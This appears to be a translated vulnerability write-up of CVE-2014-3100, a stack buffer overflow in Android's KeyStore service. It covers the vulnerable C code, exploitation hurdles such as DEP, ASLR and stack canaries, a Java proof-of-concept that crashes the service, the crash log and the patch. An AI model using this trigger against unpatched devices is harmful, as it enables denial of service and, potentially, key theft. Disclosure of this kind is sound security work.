Android KeyStore Stack Buffer Overflow (CVE-2014-3100)

/*

本文章由 莫灰灰 編寫,轉載請註明出處。  

作者:莫灰灰    郵箱: [email protected]

*/

1. KeyStore Service

在Android中,/system/bin/keystore進程提供了一個安全存儲的服務。在過去的版本中,其他程序主要用過UNIX socket的守護進程/dev/socket/keystore去訪問這個服務。然而,現在我們可以通過Binder機制去訪問它。

每一個Android用戶都有一塊其私有的安全存儲區域。所有祕鑰信息使用一個隨機key用AES加密算法加密,加密好的密文采用另外一個key加密後保存到本地磁盤。(後面的key通過PKCS5_PBKDF2_HMAC_SHA1函數算出來的)

在近期的一些Android版本中,證書管理(例如RSA算法的私有key)是可以通過專門的硬件做支持的。這也就是說,keystore的key只是用來標識存儲在專有硬件上的真正key。儘管有專有硬件的支持,但是還是會有一些證書,例如VPN PPTP的證書,依然會保存在本地磁盤上。

圖一很好的闡述了keystore安全存儲機制的工作原理。當然,更多的關於keystore服務的一些內部信息大家都可以在網上找到相關資料。



2. Simplicity

通過源代碼(keystore.c)中的註釋我們可以知道KeyStore被設計出來的時候想的略微簡單了點:

/* KeyStore is a secured storage for key-value pairs. In this implementation,
* each file stores one key-value pair. Keys are encoded in file names, and
* values are encrypted with checksums. The encryption key is protected by a
* user-defined password. To keep things simple, buffers are always larger than
* the maximum space we needed, so boundary checks on buffers are omitted.*/
代碼實現起來雖然簡單,但是緩衝區的大小並不總是比他們設想的最大空間要小。


3. Vulnerability

容易被攻擊的緩衝區主要是在KeyStore::getKeyForName函數中。

ResponseCode getKeyForName (
<span style="white-space:pre">	</span>Blob * keyBlob ,
<span style="white-space:pre">	</span>const android :: String8 & keyName ,
<span style="white-space:pre">	</span>const uid_t uid ,
<span style="white-space:pre">	</span>const BlobType type )
{
	char filename [ NAME_MAX ];
	encode_key_for_uid ( filename , uid , keyName );
	...
}
這個函數有好幾個調用者,外部程序可以很容易的通過Binder接口來調用它。(例如,int32_t android::KeyStoreProxy::get(const String16& name, uint8_t** item, size_t*
itemLength))。因此,惡意程序可以很輕鬆的控制變量keyName的值和長度。

接下來,encode_key_for_uid函數中調用了encode_key函數,這個函數在沒有邊界檢查的情況下會造成filename的緩衝區溢出。

static int encode_key_for_uid (
	char * out ,
	uid_t uid ,
	const android :: String8 & keyName )
{
	int n = snprintf ( out , NAME_MAX , "% u_ ", uid );
	out += n;
	return n + encode_key ( out , keyName );
}

static int encode_key (
	char * out ,
	const android :: String8 & keyName )
{
	const uint8_t * in = reinterpret_cast < const uint8_t * >( keyName . string ());
	size_t length = keyName . length ();
	for ( int i = length ; i > 0; --i , ++ in , ++ out ) {
		if (* in < '0' || * in > '~ ') {
			* out = '+' + (* in >> 6);
			*++ out = '0' + (* in & 0 x3F );
			++ length ;
		} else {
			* out = * in ;
		}
	}
	* out = '\0 ';
	return length ;
}

4. Exploitation

惡意程序如果要使用這個漏洞,那麼還需要解決如下幾個問題:
(1).數據執行保護(DEP)。這個可以採用Return-Oriented Programming (ROP)的方法繞過。
(2).地址隨機化(ASLR)。
(3).堆棧檢測(Stack Canaries)。
(4).編碼。小於0x30 ('0')或者大於0x7e ('~')的字符會被編碼之後再寫回到緩存區中。
不過好在Android KeyStore服務被結束了之後馬上會重啓,這個特性加大了攻擊成功的概率。此外,攻擊者理論上可以使用ASLR去對抗編碼。


5. Impact

各種信息泄露


6. Proof-of-concept

可以通過以下Java代碼觸發漏洞:

Class keystore = Class.forName("android.security.KeyStore");
Method mGetInstance = keystore.getMethod ("getInstance");
Method mGet = keystore.getMethod ("get", String.class);
Object instance = mGetInstance.invoke( null ); inf
mGet.invoke( instance ,
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ");


運行上述代碼後,KeyStore進程奔潰,日誌如下:

F/ libc ( 2091): Fatal signal 11 ( SIGSEGV ) at 0 x61616155 ( code =1) , thread 2091 ( keystore )
I/ DEBUG ( 949): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/ DEBUG ( 949): Build fingerprint : ' generic_x86 / sdk_x86 / generic_x86 :4.3/ JSS15
J/ eng . android - build .20130801.155736: eng / test - keys '
I/ DEBUG ( 949): Revision : '0'
I/ DEBUG ( 949): pid : 2091 , tid : 2091 , name : keystore >>> / system / bin / keystore <<<
I/ DEBUG ( 949): signal 11 ( SIGSEGV ), code 1 ( SEGV_MAPERR ) , fault addr 61616155
I/ DEBUG ( 949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030
I/ DEBUG ( 949): esi b82a78a0 edi 000003 e8
I/ DEBUG ( 949): xcs 00000073 xds 0000007 b xes 0000007 b xfs 00000000 xss 0000007 b
I/ DEBUG ( 949): eip b7774937 ebp 61616161 esp bff85d20 flags 00010202
I/ DEBUG ( 949):
I/ DEBUG ( 949): backtrace :
I/ DEBUG ( 949): #00 pc 0000 c937 / system / bin / keystore ( KeyStore :: getKeyForName ( Blob * ,
android :: String8 const & ,
unsigned int , BlobType )+695)
I/ DEBUG ( 949):
I/ DEBUG ( 949): stack :
I/ DEBUG ( 949): bff85ce0 00000000
...
I/ DEBUG ( 949): bff85d48 00000007
I/ DEBUG ( 949): bff85d4c bff85ed0 [ stack ]
I/ DEBUG ( 949): bff85d50 bff8e1bc [ stack ]
I/ DEBUG ( 949): bff85d54 b77765a3 / system / bin / keystore
I/ DEBUG ( 949): bff85d58 b7776419 / system / bin / keystore
I/ DEBUG ( 949): bff85d5c bff85ed4 [ stack ]
I/ DEBUG ( 949): ........ ........
I/ DEBUG ( 949):
I/ DEBUG ( 949): memory map around fault addr 61616155:
I/ DEBUG ( 949): ( no map below )
I/ DEBUG ( 949): ( no map for address )
I/ DEBUG ( 949): b72ba000 - b73b8000 r -- / dev / binder

7. Patch

getKeyForName函數不再使用C風格的字符串去保存filename了。另外,使用了getKeyNameForUidWithDir函數去替代encode_key_for_uid生成編碼的密鑰名。前者正確的計算了編碼後密鑰的長度。

ResponseCode getKeyForName ( Blob * keyBlob , const android :: String8 & keyName , const uid_t uid ,
	const BlobType type ) {
	android :: String8 filepath8 ( getKeyNameForUidWithDir ( keyName , uid ));
	...
}
android :: String8 getKeyNameForUidWithDir ( const android :: String8 & keyName , uid_t uid ) {
	char encoded [ encode_key_length ( keyName ) + 1]; // add 1 for null char
	encode_key ( encoded , keyName );
	return android :: String8 :: format ("% s /% u_ %s ", getUserState ( uid ) -> getUserDirName () , uid ,
	encoded );
}


原paper:http://www.slideshare.net/ibmsecurity/android-keystorestackbufferoverflow



發佈了53 篇原創文章 · 獲贊 5 · 訪問量 29萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章